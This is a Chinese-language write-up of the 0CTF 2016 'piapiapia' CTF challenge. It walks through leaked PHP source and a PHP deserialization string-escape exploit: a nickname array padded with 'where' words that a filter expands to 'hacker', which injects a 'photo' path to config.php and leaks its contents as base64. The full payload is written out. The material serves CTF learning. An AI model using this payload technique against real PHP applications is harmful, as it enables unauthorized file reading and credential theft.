0CTF-2016-piapiapia(php反序列化长度变化尾部字符串逃逸)
一个很可爱的登录界面：
进行一下目录扫描，发现源码泄露www.zip，把源码给出：
index.php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Login</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">LOGIN</button>
</form>
</div>
</body>
</html>
}
?>
在输入账号密码之后进入了profile.php，下面是profile.php的源码：
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
<!DOCTYPE html>
<html>
<head>
<title>Profile</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<img src="data:image/gif;base64,$photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Hi echo $nickname;?></h3>
<label>Phone: echo $phone;?></label>
<label>Email: echo $email;?></label>
</div>
</body>
</html>
}
?>
还有注册页面的源码(没有太大用)，register.php：
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!Please Login';
}
else {
die('User name Already Exists');
}
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Register</h3>
<label>Username:</label>
<input type="text" name="username" style="height:30px"class="span3"/>
<label>Password:</label>
<input type="password" name="password" style="height:30px" class="span3">
<button type="submit" class="btn btn-primary">REGISTER</button>
</form>
</div>
</body>
</html>
}
?>
然后是update.php：
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!Your Profile';
}
else {
?>
<!DOCTYPE html>
<html>
<head>
<title>UPDATE</title>
<link href="static/bootstrap.min.css" rel="stylesheet">
<script src="static/jquery.min.js"></script>
<script src="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container" style="margin-top:100px">
<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;">
<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
<h3>Please Update Your Profile</h3>
<label>Phone:</label>
<input type="text" name="phone" style="height:30px"class="span3"/>
<label>Email:</label>
<input type="text" name="email" style="height:30px"class="span3"/>
<label>Nickname:</label>
<input type="text" name="nickname" style="height:30px" class="span3">
<label for="file">Photo:</label>
<input type="file" name="photo" style="height:30px"class="span3"/>
<button type="submit" class="btn btn-primary">UPDATE</button>
</form>
</div>
</body>
</html>
}
?>
核心的处理代码，class.php：
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
最后是config.php：
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
看来flag就是在config.php中了，要想办法拿到config.php的内容了。
然后就是代码审计了。
seay代码审计系统也可以给点线索的：
这个地方貌似有个文件读取的地方，在profile.php中：
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
上面还有个反序列化unserialize，感觉有戏，如果$profile[‘photo’]是config.php就可以读取到了，可以对photo进行操作的地方在update.php，有phone、email、nickname和photo这几个。
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
print_r(unserialize($profile));
结果如下：
Array
(
[phone] => 12345678901
[email] => ss@q.com
[nickname] => sea_sand
[photo] => config.php
)
可以看到反序列化之后，最后面upload这一部分就没了，下面就是想办法把config.php塞进去了。
从数组顺序上看是和上面数组的顺序一样的，可以抓个包看下post顺序，那么最有可能的就是从nickname下手了。
在设置了$profile之后，用update_profile()函数进行处理：
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
进行了过滤：
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
有两个正则过滤，带上输入nickname时候有一个正则，总共三个过滤的地方，首先要绕过第一个输入时候的正则：
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
数组即可绕过：
nickname[]=
那么$profile就是这样了：
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"[email protected]";s:8:"nickname";a:1:{i:0;s:3:"xxx"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
后面的正则要怎么利用呢，可以看到如果我们输入的有where，会替换成hacker，这样的话长度就变了，序列化后的每个变量都是有长度的，那么反序列化会怎么处理呢？我们应该怎么构造呢？
数组绕过了第一个正则过滤之后，如果nickname最后面塞上";}s:5:“photo”;s:10:“config.php”;}，一共是34个字符，如果利用正则替换34个where，不就可以把这34个给挤出去，后面的upload因为序列化串被我们闭合了也就没用了：
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
$profile = a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
在where被正则匹配换成hacker之后，正好满足长度，然后后面的"};s:5:“photo”;s:10:“config.php”;}也就不是nickname的一部分了，被反序列化的时候就会被当成photo，就可以读取到config.php的内容了。
下面开始操作：
注册之后登陆，进入到update.php页面，输入信息及上传图片，用bp抓包把nickname改成数组即可：
然后进入到profile中查看图片信息，把base64码解码：
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdmbGFnezBjdGZfMjAxNl91bnNlcmlhbGl6ZV9pc192ZXJ5X2dvb2QhfSc7Cj8+Cg==
解码得到：